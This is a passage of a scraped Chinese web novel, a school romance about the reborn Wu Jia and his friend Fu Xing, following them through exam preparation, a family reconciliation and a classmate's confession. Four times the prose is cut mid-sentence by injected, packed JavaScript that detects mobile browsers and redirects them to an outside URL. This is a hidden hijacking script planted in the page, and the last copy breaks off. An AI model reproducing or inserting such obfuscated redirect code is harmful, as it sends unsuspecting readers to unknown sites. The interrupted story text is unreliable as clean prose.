虽然他觉得星星很好,爸爸妈妈也一直让他带朋友回家,但是,但是…… 把朋友带回家,这是他从未做过的事,现在平静美好的生活会不会因为这件事发生什么改变呢? 心中的不安淹没了乌嘉,自从重生以来,他万分珍惜现在的生活,一举一动都经过考量,为的就是不破坏这美好的生活。 但过于珍惜变成了殚精竭虑,他害怕一切的变故,几乎无时无刻都在担心这样的生活会被破坏。 他就像一个在美梦中清醒的可悲人,惶惶不可终日,戚戚难忘往昔。 “嘉嘉?”见乌嘉脸色越来越白,傅星皱眉,担忧道,“你怎么了?你是不是不舒服?” “不舒服的话别撑着,我带你去找老师。”说着,傅星就要扶着乌嘉起来,他认真道,“是不是吃坏东西了?还是感冒了……” 看着傅星关切的目光,乌嘉不安的心莫名沉静些许,他摇头道,“我没事,没有不舒服。” “嘉嘉。” 傅星的神情是前所未有的认真,他盯着乌嘉,一字一句道,“千万不要勉强自己,难受就要说出来。” 乌嘉愣住,他一时不知道,傅星让他把难受说出来,是指他身体,还是……心里。 上辈子他是个哑巴,那时候无论是心上有万般苦楚,还是体内有蚀骨疼痛,他都没有办法“说出来”,也没有人会让他“说出来。” 到了现在,即使身边的人再关心他,他还是没有办法坦率地把难受说出来。因为乌嘉骨子里认为,自己配不上他们的关心,也不愿自己的烦恼牵扯到任何人。 “你不说出来的话,我会更担心你的。” 傅星清朗的声音一下拉回了乌嘉的思绪,他看向傅星,只见他严肃道,“会影响到我上课。” 不说也会影响到他吗?乌嘉看向傅星,不自觉开口道,“为什么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196401|197135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “因为……” 傅星皱着眉头道,“满脑子都在想,嘉嘉怎么了?为什么脸色那么差?是不是心情不好?还是身体不舒服?就没有办法认真听课了。” 听到这样的回答,涉世未深的乌嘉完全呆住了,原来自己不说出来,会让他们更担心。 傅星是这样,那……爸爸妈妈是不是也是这样呢? 自己不说,他们就会认为自己一直都很好吗?还是会一直猜测自己是不是真的很好?或者是会觉得自己不信任他们?更加担心自己每天是不是真的过得好? 乌嘉一直以为自己的不言苦楚可以让他们放心,但现在他才意识到,原来自己的沉默,只能让他们更加忧心。 “对不起,我……”想到这,乌嘉下意识就想道歉,但傅星直接打断了他。 “嘉嘉,你没有做错任何事。” 傅星目光炯炯,转过课桌的椅子,拉住乌嘉的手,面对着他,郑重道,“说与不说,你都没有错。” “只是你愿意和我说,就说明你相信我,也需要我。” 傅星微微勾起嘴角,目中溢出的光慢慢点亮了乌嘉暗淡的眼,他看着乌嘉,笑着说:“这样的话,我会很开心的。” 满脸稚气的少年,用最温暖的话拯救了一颗在雪夜死去的心脏。 他用蕴含生命力量的语言,让那颗濒临破败的心重新复苏,跳动。 乌嘉第一次真切感受到自己正处于这个美好的世界。 “我答应你。” 乌嘉放松些许,他终于露出浅浅的笑,看着傅星道,“不会再让你担心了。” “真的吗?那你告诉我你刚才怎么了。” “……你不是想去我家,我担心爸爸妈妈不喜欢我带朋友回家。” “你问过他们吗?” “没有……” “你先回去问问,等下我在岔路口等你,如果不行的话……” “不用……你跟我回去吧,爸爸妈妈肯定会欢迎你的。” “真的?” “真的。” “好!” 傅星笑得灿烂,每缕发梢都是上扬的欢喜,他说,“我们一起回家。” 之后,宋玉温与乌常辉满脸惊喜的欢迎了傅星,热情的态度一度让傅星难以招架,告别时那句“下次再来”说了不下十遍。 乌嘉也在那之后,变得没那么沉默寡言,平时也会和父母分享一些学校的事。这样的变化让宋玉温很是感动,当下就把功劳全都放在了傅星身上。 “那个时候,你还说你怕叔叔阿姨不喜欢我,搞得我紧张了好久。” 傅星躺在乌嘉身旁,目露回忆,“结果我一进门,叔叔阿姨开心得就差放鞭炮了。” 乌嘉失笑,原本冷淡的眉眼都染上了喜色,让一旁傅星看得直发愣,他笑着道,“那是我第一次带朋友回家,他们确实很开心。” “我也很开心成为你带回家的第一个朋友。” 傅星移开目光,看向窗外摆动的枝叶,嘴角勾起道,“那时候我就想,我要和你做一辈子的好朋友。” 乌嘉打了一个哈欠,他有些困了,他半眯着眼,迷糊道,“……我也这么想的。” 傅星闻言,看向身旁的人,这时乌嘉已经闭上了眼,长睫安静垂下,睡颜恬静平和。 他缓缓伸出手,隔着空气描绘着乌嘉的眉眼,若即若离,亲昵无比,却未曾真正触碰。 良久,房间里响起微不可闻的声音。 “可是现在,我想……不止一辈子,不止是朋友。” 8. 时间是铃声 “……乌嘉,你来看看这道题。” 数学老师一声点名,将乌嘉外放的思绪强行拉回,他下意识站起,看向黑板。 粉笔一笔一划写出的题目十分眼熟,这是昨天晚上他没能做出来,也没来得及问傅星的那道数学题。 乌嘉目光平静,看着那道题,试图从中找到什么。 十秒,二十秒,一分钟过去,在众人的注视下,乌嘉还是没能说出答案。 不行,无论看几遍,还是不会,算了,直接说不会算了,被骂就被骂…… “答案是3X。” 熟悉的声音在从教室后方响起,乌嘉寡淡的神情出现些许波动,他不用回头也知道是傅星帮他回答了。 “问你了吗,傅星。” 数学老师一个粉笔头直接朝傅星丢了过去,他佯装生气道,“就你有嘴。” 丢完粉笔,他拍拍手,对乌嘉道,“你坐下吧。” “这道题对你们来说确实有些超纲了。” 说到这,数学老师露出些许笑意,看向傅星道,“来,你上黑板把你的过程写出来。” 傅星闻言起身,慢慢从后面往前走,在经过乌嘉的桌子时,还悄无声息的往他桌子上放了一个东西。 一颗黄色的奶糖。 乌嘉拿起那颗糖,有些愣神,还没等他琢磨个味出来,四下发出的惊叹声将他注意拉回。 黑板前,少年正捏着白粉笔行云流水的书写着字符,像是不带思考般将一串串数字迅速划过,只留下些许白灰沾到那只骨节分明的手上。 那比同龄人更加挺阔有力的背影,配上如此帅气干净的解题手法,引得教室里传来一阵阵钦佩的唏嘘。 傅星写下最后的“3X”后,便放下了粉笔,转过身的那刻,他的目光毫不犹豫的落到了乌嘉身上。 那闪着光的眼眸和挑起的嘴角,好似在隔着半个教室问乌嘉——你看我厉不厉害。 乌嘉看着傅星那副求表扬的模样,心中只剩下一个念头,他怎么……那么可爱。 心中奇怪的雀跃蹦到了心头,等乌嘉意识自己的嘴角已经不禁扬起时,傅星也走了下来。乌嘉不由微微低下了头,避开了傅星的目光,也掩盖住了自己发烫的脸。 脚步由远及近又由近及远,乌嘉总觉得他在自己课桌旁经过时速度格外慢,慢到……他身上熟悉的清爽气味都留了下来,萦绕于这里,久久不散。 乌嘉只感觉一呼一吸之间都是这独属于傅星的气味,他心中乱成麻,脑海中闪过许多莫名的画面,奔跑,打闹,嬉笑,牵手……最后都变成一个画面,就是傅星那张治愈他的笑脸。 手心的黄色奶糖被握得温热粘腻,乌嘉恍然回神,想把这颗糖果放进外套口袋,将手伸进口袋时,他触摸到了一个塑料质感的纸张。 他微带疑惑的掏出来看,是一张糖纸,与手心糖果一样的糖纸。 是昨天傅星给他那颗糖的糖纸。 乌嘉看着这张皱巴巴的黄色糖纸,眼神微动,随后将糖纸熟练的摊平,然后将其夹在一本书中,默默放进了书包。 校园的时间是由一次次铃声拼凑起来的,在所有铃声结束后,学生的一天也迎来尾声。 “还有多少没背完啊……” 傅星翻着书,在目录页细数这些古诗篇数,数了很多遍后,仍然不愿开始背书。 乌嘉头都没抬,边做题边道,“还剩五十二篇。” “五十二啊……”傅星喃喃道,“只有那么点了吗……” 背完书他得找什么理由跟乌嘉回家呢? “这么点?”乌嘉闻言,不由笑道,“听起来你很快就可以背完。” “不。”傅星放下书,一本正经道,“欲速则不达,一天一首就好。” “一天一首?”乌嘉想到了那几篇长得落泪的古文,点点头道,“你最好说到做到。” 根本没怎么听过语文课,也根本不知道要背哪些古诗文的傅星,信誓旦旦点头道,“说到做到。” “那今天,背《出师表》吧。” 傅星微愣,好耳熟,是哪一篇来着,他没多想,直接点头道,“没问题。” 乌嘉伸手拿过傅星的书,翻到那一页,然后笑着道,“一天背完?” 傅星凑过去看了一眼,一下就被密密麻麻的字震撼住了,他呆愣片刻,随即哭丧着脸道,“嘉嘉你学坏了……你欺负我。” “你自己答应的。” “啊啊啊不行……” “哈哈哈……” 乌嘉微敛笑意,起身背好书包,拉起傅星道,“走吧,回家啦。” 两只手在触碰时,泛起难言的热意,但两人都默契的忽略了这份违和,故作自然牵握在一起。 怦怦跳动的心即将击碎表象,两个将心遮掩住的少年,同时松开了手,他们都害怕对方发现自己纷乱鼓动的心。 “回家。” 回家的路走了千百遍,每次归家总伴随着微风,摆动的枝叶,还有身旁不变的另一个人。 今天归家的路好像也没什么不同,依旧是含着笑意对话的两人,依旧是吹动枝叶的微风,但他们心中都明白,不一样了。 心跳的频率,呼吸的间隔,说话的速度,身体的温度…… 都不一样了。 临近夜晚,今天傅星并没有留下来过夜,他站在门口,笑着对宋玉温道,“明天见阿姨。” 宋玉温满脸遗憾道,“这孩子真是的,怎么硬要回去呢……” “我也想留下来,但是……”傅星开玩笑道,“再不回去我爸妈就要不认识我这个儿子了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196402|197135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋玉温被逗得哈哈笑,“没关系,他们俩不要那我就认你作儿子,正好和嘉嘉做个伴。” “真的假的。” 傅星满脸惊喜,看了站在后面的乌嘉一眼,然后认真道,“那我明天就把户口迁过来。” “好呀!那我可太开心了。” 宋玉温笑得眼泪都要出来了,乌嘉在她身后适时开口道,“好啦妈妈,明天再聊吧,再晚傅叔叔他们会担心了。” “好吧好吧,那星星路上小心。” “拜拜。”傅星笑着告别,目光最后落在乌嘉身上。 乌嘉与他隔着宋玉温对视,微愣片刻后,开口道,“拜拜。” 微凉的晚风卷起少年的衣角,也吹开了他的额发,露出一双平和认真的眼,乌嘉在门口站了一会,目送傅星消失在街角后,关上了门。 总觉今晚的路灯比平时亮,一抬眼,才发现是皎洁月光照亮了脚下的路。 傅星不由停下脚步,看向天边的一轮明月。望着望着,他忽然想起了什么,举起手机,将这月色拍下,发给了乌嘉。 今天的月亮并不完整,月色也不是傅星记忆中最美的一次,但是他现在就是想与乌嘉共赏这皎皎月光。 亮着台灯的书桌上,手机发出震动声响,乌嘉放下笔,拿起了手机。他点开那张模糊的月景,脸上慢慢浮出笑意,然后保存了图片。 他站起身,走到窗边,打开窗户,抬头看向天边。 而同沐在这月光之下的傅星,也收到了回复——一张窗棱外的月景照片。 傅星保存了照片后,手指停留在键盘上,想发些什么,半晌过去,他还是没有成功发出一个字。 “啊……”傅星收起手机,扶住额头,仰天长叹。 总算是明白什么叫做书到用时方恨少了。 月亮渐高悬,散出的皎洁光亮使周边繁星暗淡了下来,月光下的万家灯火也一盏盏熄灭,只剩下寥寥几点不眠人,或愁苦,或意欢,或举杯共饮,或孤枕难眠。 傅星在这些不眠人中,显得有些突兀,他窝在书籍中,眼睛熬的通红,像一个痴狂的学者。 寂静黑暗的房间中,乌嘉放在枕侧的手机忽然亮起,微弱的亮光并没有影响到沉睡的他,屏幕上显示的来信人备注的是一个星星图案。 您收到一条来自【星星】的消息。 另一边,辗转悱恻的傅星,在发出消息后,手指都不由得颤抖起来,他紧紧盯着屏幕,心跳已经快到失速。 十秒,二十秒,三十秒,一分钟…… 傅星困倦的大脑闪过一丝清明,像是突然醒悟过来一样,颤抖的手指慌忙去点击屏幕,赶在最后几秒将消息撤回。 他盯着手机屏幕上撤回成功的消息,呼吸急促。 不行,再等等,再等等…… 9. 你就是宝物 清晨和煦的风吹过两人,乌嘉看向略显疲态的傅星,皱眉道,“昨天晚上熬夜背出师表了?” “倒也不是……”傅星心虚的揉揉眼,心道出师表是没背下来,别的倒是背得不错。 情诗什么的…… 乌嘉忧心的叹了口气,道,“星星,马上就要中考了,你要认真一点。” “放心。” 傅星伸了一个懒腰,舒展透彻僵硬的四肢,然后看向乌嘉,笑着道,“我会努力的。” 傅星虽脸上挂着笑,但目光中满是认真,他知道,不努力的话,就会被嘉嘉落下的。 得到肯定的回应,乌嘉便移开了目光,看向前路。 其实乌嘉明白自己有些杞人忧天了,他大可不用这样担心。星星除了语文差些,其他科目都和自己不相上下,而且,星星的语文也谈不上无药可救,作文与阅读应用都还过得去,只是古诗文方面比较落后。 但是,乌嘉控制不住自己的不安。就是这种其他人都不会看重的小瑕疵,他也会过度忧虑,反反复复的提醒,念叨。 因为他不想看到任何不好的情况发生在星星身上,即使星星可能会嫌他管得多,会嫌他烦,他也不想星星因为这种可以控制的原因而错失未来。 还好,星星并没有嫌他烦。 傅星悄悄侧目,看着乌嘉和往日一样正经的眉眼,心中满是喜爱。 傅星怎么可能会嫌弃乌嘉烦人呢,乌嘉越是督促他,他就越开心。因为,这说明乌嘉心里有他,说明乌嘉不想和他分开,说明乌嘉期望两人可以考上同一所高中。 “对了……”乌嘉忽然想到了什么,看向傅星道,“你昨天晚上是不是给我发了什么消息?” 他今天一起床,就看到和傅星的聊天界面上出现了一条撤回的消息,时间先是是凌晨两点。 傅星的笑僵在脸上,他移开目光,不自然道,“是发了……” “发了什么?为什么撤回?”乌嘉疑惑道,“发错了?” 傅星脸渐渐红了,一席话堵在心里,反复鼓动又被压下。 他憋了半天,终于在乌嘉的注视下开口,“……等考试结束之后,我告诉你可以吗?” 乌嘉没想到是这个回答,一时间愣住了,什么话要等到考试之后才能说? “你别问我为什么。”傅星慌张的看向前路,低低道,“到时候你就知道了。” 看着将满心异动都写在脸上的傅星,乌嘉张了张口,想要说些什么,但那些话到嘴边,又被心口悸动堵下,最后只剩下三个字。 “知道了。” 婉转啼叫的鸟儿掠过两人头顶,他们同时抬头,看向那对嬉闹的鸟,两人的目光追随着那盘旋的两只鸟,看着它们在树梢跳跃,飞腾,又在下一刻,同时看向了对方。 两个少年都红了耳廓。 又一阵暖风,托起了翱翔的鸟,吹落了春日的花,翻动了桌上的书。 书页被风吹得不断翻动,哗哗声愈来愈急,就像时间流淌而过的声音。 最后,所有的书页都被清风翻过,一本孤零零的书扣在桌面上。 “明天就要上战场了!” 班主任站在讲台上,慷慨激昂道,“你们准备好了吗!” “准备好了——” 听到台下响亮的回答,班主任满意点头,他拿起粉笔,刷刷几声,最后在黑板上利落的写下六个大字——“沉着,认真,细致”。 在转身的前一刻,他顺势抬手擦去了眼角的泪花,然后对台下的学生们笑着道,“今天大家早点回家休息,都别看书了。” 泪点低的学生这时候已经控制不住的哭起来,此起彼伏的抽泣声听得班主任眼眶一红。 他压下泪意,最后哑着声音道,“同学们再见。” 说完,便转过身,头也不回的走了。 “老师再见——!” 看着熟悉的背影逐渐远去,乌嘉也酸了眼眶,一张纸巾适时的出现在他眼前,他没有抬眼,直接拿过纸,然后道,“谢谢。” 傅星站在乌嘉课桌旁,不由抬手摸了摸他低垂的头,温声道,“别太伤心了,我们可以经常回来看老师的。” “嗯。” 乌嘉情绪波动也没有很大,泪意很快消散,用纸巾随意按压了一下眼角后,他拿起空荡荡的书包,然后看向傅星道,“走吧。” 微湿的长睫配上红彤彤的眼眶,看上去就像一只受了委屈的兔子。 平时端庄的人很难露出这样可怜巴巴的模样,傅星不由得心肝一颤,他盯着乌嘉泪意未消的脸,逐渐红了耳朵。 “怎么了?”乌嘉见傅星久久没动静,疑惑道。 “……没事。”傅星移开目光,然后拉着乌嘉往教室外走去。 看着自己被紧紧牵着的手,乌嘉有些失神,也没注意到傅星并没有带他往校门口走。 等他再反应过来,已经被拉到了学校的小学部。 小学部因为中学部的考试都放假了,空荡荡的校区里只有安静的课桌,傅星拉着乌嘉,站在他们曾经的教室前,脸上是掩盖不住的兴奋。 “嘉嘉,还记得吗?”傅星指着空教室里的一个课桌,笑道,“你以前就坐那里。” 看着那熟悉的位置,乌嘉不由也笑了,他点头道,“记得,你就坐我旁边。” 他们隔着玻璃,仿佛看到了两个小小的身影,一个温顺安静,一个热闹明朗,那是他们的童年,互相拥有的童年。 “你还记得你和我说的第一句话是什么吗?”傅星看向乌嘉,眼中的光仿佛要溢出。 乌嘉回忆了一下,然后道,“应该是……你为什么盯着我?” 乌嘉还记得,傅星刚转学过来的时候,非常讨厌别人笑他。刚好那时的乌嘉并不爱笑,便成为了唯一没有笑他的人,从而得到了傅星小朋友的额外关注。 傅星笑着摇头,“你记错了,那是你写给我的话,你对我说的第一句话是……” “谢谢。” 傅星一说,乌嘉也记起来了,那时候正在上课,他不好开口询问傅星为什么盯着他,便写在了书上。 但当时他为什么要道谢来着…… 乌嘉陷入回忆,全然忘记了傅星牵着他的手一直未松开,他就这样牵着傅星的手思索半天,还是没想出自己为什么要说谢谢。 “我为什么要说谢谢?”想不出来乌嘉也不纠结,他看向傅星,寻求答案。 傅星垂首闷笑两声,没有直接回答他,而是不知道从哪里掏出一颗糖,展示般在乌嘉眼前晃了晃。 看着这颗黄色的奶糖,乌嘉恍然大悟,他露出笑意,道,“因为你给了我糖。” “是呢。”傅星笑着剥开糖纸,然后趁乌嘉不注意,塞进了他嘴里。 熟悉的甜味在嘴里蔓延,这跨过岁月的味道,再次渲染了模糊的过去,将淡去的回忆生动展现在乌嘉眼前。 那时他们尚年幼,小小的脑袋里,除了全是学校和家,就只剩下对方。 傅星总喜欢拉着不爱动的乌嘉到处玩,大树荫下,后山亭中,楼顶露台,哪里都留下过他们的足迹。 乌嘉在遇到傅星之前,从未想过自己会拥有这样生动的童年,他总以为自己悲凉的灵魂不配这样的童趣。 傅星就像一束阳光,透过破碎的缝隙中,照进了乌嘉伤痕累累的心,将他从闭塞的世界中拉出,带着他在四处肆意的笑,让他逐渐淡忘了那场名为前世的噩梦。 万物皆有裂缝,那是光照进来的地方。 奶糖在嘴里一点点化开,乌嘉紧紧拉住傅星的手,任他牵着自己走过他们曾经走过的路。 一段段回忆涌上心头,那丝丝甜蜜的感觉逐渐盖过嘴里的糖,两人笑着追寻过去脚步,忘记了现在逝去的时间。 在嘴里的最后一点甜味消散时,傅星也牵着乌嘉,缓缓走出了拥有着两人六年回忆的校园。 两人牵着手,向远处的夕阳走去,谁都没有松手,谁都没有说话,就这样慢慢走到了分岔的路口。 暮色将尽,分别注定来临,但谁都不愿成为那个先松开手的人。 乌嘉率先停下脚步,看着眼前满眼写满眷恋的少年,他耳根不由发烫。他想说再见,想说考试加油,想说路上小心,想说…… 他什么都想说,但又什么都不想说。 直到天边最后一丝光芒消逝,都没有一个人先开口。 傅星已不再掩饰半分自己的情感,他垂眸盯着乌嘉,眼神深情得让人觉得空气都变得暧昧起来。 “嘉嘉?” 一声呼唤划破了这甜腻的氛围,乌嘉受惊的率先松开了手,他仓皇看向远处路灯下的乌常辉,脸顿时红得要滴血。 傅星倒是没有半分被撞破的无措,他笑着跟乌常辉打招呼,“乌叔叔,晚上好。” “晚上好。” 乌常辉脸上闪过一瞬犹疑,但很快就掩过,他拍拍傅星的肩,笑道,“明天一定没问题。” “那当然。”傅星自信道,“不能辜负叔叔阿姨和嘉嘉的期望。” “哈哈哈你爸爸妈妈的期望呢?不管了?” 傅星无奈道,“他们对我没什么期望。” 乌常辉闻言,语重心长的道,“他们只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196403|197135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不想你压力大。” 傅星想了想自己那不靠谱的爸妈,笑着点头道,“希望是这样吧。” “来都来了,去我家吃个饭再走?”乌提起手里的菜,对傅星道,“今晚叔叔可要做大餐。” “不了,我爸妈还等我回去。”傅星摆手拒绝,目光落在了乌常辉身后的乌嘉身上。 乌嘉还没缓过神来,看上去有些魂不守舍,脸上依旧红意未消。 傅星眼神微变,嘉嘉这副模样被叔叔看到可就不太好了……想到这,他话锋一转,跟乌常辉有的没的扯起来,将乌常辉的注意力完全拉了过来,给乌嘉调节的时间。 好在乌嘉没多久也调整好了,傅星也在此时适时的与乌常辉道别,转身离开之前还对乌嘉眨了眨眼。 和傅星道别之后,父子二人也走向了归家的路,乌嘉提过乌常辉手里的菜,乖巧的走在一侧。 “星星这孩子……” 乌常辉走着走着突然开口,把一旁的乌嘉吓了一跳。 他提着菜,不安的开口道,“怎么了?” “真是健谈啊。”乌常辉啧啧点头,继续道,“比你妈还能聊。” “……确实。”乌嘉悬着的心落下,点头道,“这样不好吗?” “很好,非常好。” 乌常辉忽然笑了,他看向乌嘉道,“你平时不爱说话,他在你身边的时候,总能让你活泼些,我和妈妈都很喜欢这样。” 乌嘉闻言,心中泛起一股愧疚,他垂眸开口道,“对不起,我……” “为什么道歉?” 乌常辉停下脚步,抬手摸了摸乌嘉的头,笑道,“你什么都没做错。” “我一定……”乌嘉低下头,看向自己被路灯拉长变形的黑影,失落道,“让爸爸妈妈担心了吧。” “不爱说话,什么事都憋在心里,也不活泼……” “嘉嘉。”乌常辉忽然打断乌嘉,他停下脚步,看着乌嘉,认真道,“不要这样想。” 看着乌常辉认真的目光,乌嘉愣住了,他第一次见乌常辉那么严肃的神情。 “我们会担心你,绝对不是你的错。” 乌常辉抬起手,给乌嘉整理了一下衣领,然后看着他,一字一句道,“对于我和妈妈来说,你就是最珍贵的宝物。” “我们会担心宝物被偷走,也会担心宝物被伤害。” 乌常辉看着乌嘉,目光中盛满了温柔,他继续道,“会有这些忧心,是因为我们珍爱这份宝物。” “而不是宝物保护不好自己,没有让我们放心的能力。” “我们最不想看到的,就是你自己伤害到自己,所以,嘉嘉,不要轻易的责怪自己。” 在乌嘉闪着泪光的注视下,乌常辉继续缓缓道,“只要你可以好好活着,无论在哪,无论是怎样,我和妈妈都会很开心。” “你存在于这个世界这件事,已经足够让爸爸妈妈放心了。” 乌嘉的泪终于还是落了下来,那终年的愁绪也随着落下的苦涩泪水淡去。 他睁着被泪水洗涤得清澈的浅色眼眸,笑着对眼前的男人道,“爸爸,谢谢你,也谢谢妈妈。” “还有,我真的……” 乌嘉说到这的时候,忍不住哽咽了一下,他低了低头,擦去泪水,然后抬起头看着乌常辉,沙哑着嗓子继续道,“很爱你们。” 乌常辉的眼眶一瞬间就红了,乌嘉是一个安静的孩子,他从来不向自己表达情感。 虽然心里明白这孩子也不是没有感情,只是寡言了些,但他也会期盼乌嘉也可以亲口将爱意说出,能与宋玉温一起听到这句告白。 “嘉嘉你再说一遍,我要录个音,回去给妈妈听一听。”乌常辉吸吸鼻子,然后打开手机,将手机放到乌嘉嘴边,他看着乌嘉,眼中满是期待。 “……爸爸,大可不必。”乌嘉看着怼到嘴边的手机,酸涩的泪意慢慢消散,心中生出无奈。 “很有必要,快快快,我手都举累了。” “……我可以回去之后和妈妈当面说的。” “真的吗?”乌常辉闻言收起手机,心满意足道,“那妈妈肯定会更开心的。” 乌嘉嘴角勾起,笑着点头道,“我会说的。” 父子俩到家后,在乌常辉期待的注视下,乌嘉红着脸,慢慢对宋玉温道,“妈妈,我爱你。” 空气有半分钟的寂静,在短暂的停滞后,宋玉温爆发出了巨大的惊叫,随即就是喜极而泣,然后抱着乌嘉一顿乱嗷乱跳。 乌常辉也笑着加入了这个拥抱,这一晚,是一家人那么多年来笑得最开心的一晚。 10. 运气是真好 飘洒的白卷,像是自由的白鸽,肆意飞舞在这被无数学生称为牢狱的校园中。 他们在青春中奔走相告,向这个世界传达喜悦,所有人都在为即将到来的新人生而欢呼。 乌嘉放下手里的笔,看向外面嘈杂的人群,他们或笑或哭,或释怀或崩溃,都沉浸在这离别之中。 而他像个置身事外的看客一样,沉默的注视着外面,只觉自己像是身历一场催泪的青春电影之中。 应试教育注定了我们将面临无数次分开又重组,也早早教会我们在考试结束后告别。 “嘉嘉……” “乌嘉,你可以跟我出来一下吗?” 一个人与傅星同时开口,叫住了正发呆的乌嘉,乌嘉看了看眼前的女生,又看了看女生后面的傅星。 几乎没怎么犹豫,他看向赵丝蕊后面的傅星,道,“星星,你有事吗?” 没有得到乌嘉第一回应的赵丝蕊,眼神黯淡了一瞬。但很快,她就调整好自己的情绪,转身看向身后的傅星,与乌嘉一起等待他的下文。 傅星本想叫嘉嘉去外面走走,没巧正遇上赵丝蕊……应该早点叫嘉嘉走的。 他感受着两人注视着自己的默契目光,一时间卡住嗓子说不出话来,在接收到女孩催促的眼神之后,更是一股酸意直直冲上脑门。 催什么催,你都跟嘉嘉坐了两年同桌了,还有什么话没说的吗?还要出去说?说什么?告白吗? 想到这,傅星心里一咯噔,他看向赵丝蕊,目光中尽是难以置信。 姐……你来真的? 或许是读懂了傅星眼神中的深意,赵丝蕊移开目光,不自然的捋了捋长发,然后红着脸对乌嘉道,“乌嘉,你先和傅星聊吧,我在外面等你。” 说完,便背着书包起身离开了。 傅星看着那个背影,第一次那么敏感的意识到了危机,他心中惊涛骇浪,脸色也不见了常日和煦,变得难看了起来。 有人比他快! 看着赵丝蕊离开的背影,乌嘉略感疑惑,不过他未想太多,见傅星脸色很差,他顿时皱起了眉头,起身靠近傅星道,“星星,你怎么了?” 说着,他还把手放在了傅星额头上,想感受一下傅星是不是发烧了。 傅星被额头上冰凉的触感弄得一愣,在看到那双担忧的眼睛后,他波动的心绪才微微平静些许。 嘉嘉不会答应她……一定不会。 没感受到额外的热意,乌嘉打算收回手,却被傅星一把捂住。 傅星将乌嘉覆于他额头的手摁住,另一只手抓住乌嘉的肩,一双浓墨重彩的眼牢牢盯着乌嘉,然后严肃开口道,“嘉嘉,你不要答应她。” 乌嘉很少被傅星这样直接的控制住,他的手还在傅星脑门上收不回,傅星的手抓他抓得太紧了,紧到他无法忽视,而且,而且…… 星星离他太近了,呼吸的气息,都交融在一起了。 见乌嘉不说话,傅星终于松下力道,将乌嘉的手从他额头上拿下。 但他还是没有松开,他握着乌嘉的手,盯着那张变得通红的干净脸庞,再次确认道,“你别答应她,好不好?” “啊?好……好。”乌嘉眼神飘忽,他也不知道傅星在说什么。 傅星这张可爱阳光的脸好像和小时候完全不一样了,变得俊朗,也带上了一些攻击性,而且,他凑得太近了,近到……搅乱了自己的呼吸。 得到肯定的回答,傅星心上那根弦才缓缓松下。 见教室外赵丝蕊还在等候,他吐出一口气,然后对乌嘉沉重道,“你去吧。” 乌嘉看了一眼外面那个背影,然后对傅星道,“那我去去就回。” “尽量快一点。”傅星眉头紧锁,又补一句道,“去吧。” “那……”乌嘉看着自己被紧紧握住的手,红着脸道,“你先松开?” “哦……不好意思。”傅星这才反应过来松开手,看着乌嘉被握得发红的手,他有些心虚的别开眼。 手上突然空落后,乌嘉也平静些许,他给了傅星一个安抚的眼神后,便朝教室外走去。 此时教室里外都已经变得空荡,大多人都已经离校或是去往操场嬉闹,整个走廊上就剩下赵丝蕊一个人。 乌嘉走到她面前,温和开口道,“有什么事吗?” 看到乌嘉前来,赵丝蕊紧张到有些呼吸困难,她低头深呼吸,然后坚定抬头,看着乌嘉,颤抖着声音开口,“我有些话想和你说,我怕以后就没有机会了。” 清风吹鼓了轻薄的校服,从后看,少年的肩背挺直如白杨,而从前看,少年则如天边明月,温和清朗。 朗朗如明月般温柔的人,无意照亮了身边的人。 被月光眷顾到的人,都想向月真情告白,或先或后,或急或缓,或站在月下,或躲在墙后。 “乌嘉,我喜欢你。” 清越的少女声响起,走廊上的乌嘉眼睛微微睁大,一动不动。 而与他们隔着一堵墙的傅星,低下了头,拳头也不由握紧。 将这几个字吐出,并没有那么困难。 赵丝蕊说完后,也没有那么紧张了,她吐出一口气,然后笑道,“啊……说完就轻松多了。” 乌嘉原本还在思考,该怎么不伤及她的心的情况下拒绝,但听到赵丝蕊如释重负的一句话后,微愣道,“……啊?” “我知道你不喜欢我的,不用太烦恼。”赵丝蕊无所谓般耸耸肩,然后道,“你不用给我回复。” 看着乌嘉困惑的眼神,赵丝蕊忍不住笑了,笑声回荡在空荡荡的走廊上,缓和了这凝固的氛围。 等笑够了,赵丝蕊擦去泪花,看着乌嘉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 